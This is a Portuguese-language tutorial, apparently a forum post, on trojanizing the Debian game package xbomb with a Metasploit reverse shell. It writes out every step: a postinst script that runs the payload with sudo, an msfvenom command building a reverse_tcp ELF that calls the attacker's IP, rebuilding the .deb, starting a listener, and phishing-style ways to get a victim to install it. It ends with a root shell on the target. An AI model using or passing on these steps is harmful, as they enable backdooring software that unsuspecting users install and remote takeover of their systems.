Infectando Pacotes Debian com Payload do Metasploit

Descrição

Neste post será abordado como infectar um pacote legitimo do repositório com um payload de reverse shell do Metasploit Framework e então obter uma shell reversa num sistema linux atráves de engenharia reversa, onde o usuário(alvo do ataque) irá instalar o pacote acreditando que é um pacote legitimo e será comprometido(aka ownado)

Obtendo o Pacote:
O pacote escolhido vai ser o xbomb, que é um game ou alguma coisa do gênero pra linux, o link segue abaixo:
http://www.gedanken.org.uk/software/xbomb/

Para realizar o download vamos primeiro criar um diretório e então entrar nele e realizar o download direto do repositório:
Criando o Diretório:

Código: Selecionar todos

mkdir malicPackage
cd malicPackage

Então utilizando o próprio gerenciador de pacotes do sistema no caso o apt podemos realizar o download do pacote:

Código: Selecionar todos

[b]$ apt-get download  xbomb[/b]
$ ls -l
total 28
-rw-r--r-- 1 usuario usuario 26268 Apr  5  2018 xbomb_2.2b-1build1_amd64.deb

Setup:
Além disso vamos precisar de alguns arquivos, um deles é o arquivo de controle de versão vamos criar:
vim control

Código: Selecionar todos

Package: xbomb
Version: 2.2a-1
Section: games
Priority: optional
Architecture: amd64
Maintainer: Ubuntu MOTY Developers <ubuntu-motu@lists.ubuntu.com>
Description: A minesweeper game for Linux

Esse arquivo é utilizado na instalação do pacote, então é improtante que ele esteja presente.

Também é necessário de um post-instalation script:
cat postinst

Código: Selecionar todos

#!/bin/sh
sudo chmod 2755 /usr/games/xbom_scores && sudo /usr/games/xbomb_scores ; sudo /usr/games/xbomb &

Extraindo o pacote para um diretório chamado workdir que será criado no processo:

Código: Selecionar todos

$ dpkg -x xbomb_2.2b-1build1_amd64.deb workdir

Listando o diretório:

Código: Selecionar todos

$ ls -l
total 40
-rw-rw-r-- 1 usuario usuario   107 Jan  4 16:00 control
drwxr-xr-x 4 usuario usuario  4096 Apr  3  2018 workdir
-rw-r--r-- 1 usuario usuario 26268 Apr  5  2018 xbomb_2.2b-1build1_amd64.deb

Exibindo o conteúdo extraido do pacote:

Código: Selecionar todos

$ ls -l workdir/
total 8
drwxr-xr-x 3 usuario usuario 4096 Apr  3  2018 etc
drwxr-xr-x 4 usuario usuario 4096 Apr  3  2018 usr

Criando então o diretório onde vão ficar os scripts com o arquivo control e postinst

Código: Selecionar todos

mkdir workdir/DEBIAN

Então copiar os arquivos control e postinst para dentro do DEBIAN

Código: Selecionar todos

$ mv control postinst workdir/DEBIAN/

Necessário fazer o postinst executável:

Código: Selecionar todos

$ chmod +x  workdir/DEBIAN/postinst 

Criando o payload:

Código: Selecionar todos

$ msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=10.10.10.101 LPORT=4444 -b '\x00' -f elf -o workdir/usr/games/xbomb_scores
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=56, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 175 (iteration=0)
x64/xor chosen with final size 175
Payload size: 175 bytes
Final size of elf file: 295 bytes
Saved as: /home/usuario/Documents/MyPapers/maliciouspackage/workdir/usr/games/xbomb_scores

Explicando as flags do comando anterior:

  • -a -> Define a arquitetura, no caso x64
  • -p -> Seleciona o payload
  • LHOST -> IP da máquina do atacante cujo payload irá se conectar, no caso a minha máquina
  • LPORT -> Porta na qual o payload irá se conectar na máquina do atacante.
  • -b -> ‘\x00’ é para excluir esse byte por motivos de compatibilidade.
  • -f -> Define o tipo de arquivo, no caso um elf.
  • -o -> Output, aonde será criado o payload

Com isso esse payload gerado se torna parte do pacote que será executado pelo script postinst.

Para outros formatos:

Código: Selecionar todos

msfvenom --help-formats

Construindo o Pacote
Agora nós precisamos fazer um rebuild do pacote para mandar para a vítima.

Código: Selecionar todos

$ ls -l
total 32
drwxr-xr-x 5 usuario usuario  4096 Jan  4 16:01 workdir
-rw-r--r-- 1 usuario usuario 26268 Apr  5  2018 xbomb_2.2b-1build1_amd64.deb

Código: Selecionar todos

$ dpkg-deb --build workdir/dpkg-deb: building package 'xbomb' in 'workdir.deb'.

Você pode renomear o pacote para um nome mais amigável que seja favorável na parte de engenharia social:

Código: Selecionar todos

$ mv workdir.deb xbomb.deb

Pronto, agora só nos resta encaminhar de alguma forma o pacote malicioso para a vítima!

Iniciando o handler
Para receber a conexão é necessário iniciar o handler do msfconsole para receber a conexão. O payload poderia ser qualquer backdoor ou até mesmo um shellscript com o netcat para conectar em você, mas eu quis testar essa vibe do metasploit.

O comando abaixo vai apenas automatizar o setup, poderia ser feito manualmente abrindo o msfconsole e digitando os comandos que estão entre as aspas, com a opção -x eu posso iniciar o msfconsole com o procedimento que eu quero realizar:

Código: Selecionar todos

$ msfconsole -q -x 'use exploit/multi/handler; set payload linux/x64/shell/reverse_tcp; set lhost 10.10.10.101 ;set lport 4444; run; exit -y' 
payload => linux/x64/shell/reverse_tcp
lhost => 10.10.10.101
lport => 4444
[*] Started reverse TCP handler on 10.10.10.101:4444

Como você pode ver na ultima linha do output anterior, ele está aguardando a conexão do payload.

Vetores de ataque
Vocẽ pode por exemplo criar um website que contenha o pacote, pode ser identico ao site real do pacote ou não, então a vitima realiza o download etc.

Ou você poderia encaminhar um e-mail para a vítima falando “Ei, eu desenvolvi um programa, poderia dar uma olhada e me dar uns feedbacks?”

Bom, a criatividade é sua limitação.

Então vamos supor que de alguma forma você tenha conseguido fazer o alvo baixar seu pacote e instalar.

Executando o payload e recebendo a conexão
Na máquina da vitima, já estou com o pacote adulterado:

Código: Selecionar todos

$ ls -l
total 28
-rw-r--r-- 1 debian debian 25284 Jan  4 18:36 xbomb.deb

Então é só realizar a instalação:

Código: Selecionar todos

debian@bacula:~$ sudo dpkg -i xbomb.deb 
(Reading database ... 53275 files and directories currently installed.)
Preparing to unpack xbomb.deb ...
Unpacking xbomb (2.2a-1) over (2.2a-1) ...
Setting up xbomb (2.2a-1) ...
/usr/games/xbomb: error while loading shared libraries: libXaw.so.7: cannot open shared object file: No such file or directory
Processing triggers for mime-support (3.60) ...
Processing triggers for man-db (2.7.6.1-2) ...

Uma vez que tenha executado, na console do atacante você poderá notar que a conexão foi estabelecida:

Código: Selecionar todos

[*] Sending stage (38 bytes) to 10.10.10.25
[*] Command shell session 1 opened (10.10.10.101:4444 -> 10.10.10.25:36936) at 2019-01-04 16:41:54 -0200

id 
uid=0(root) gid=0(root) egid=1000(debian) groups=1000(debian),0(root)

And Bingo!!!!!!11 We get inside as root!!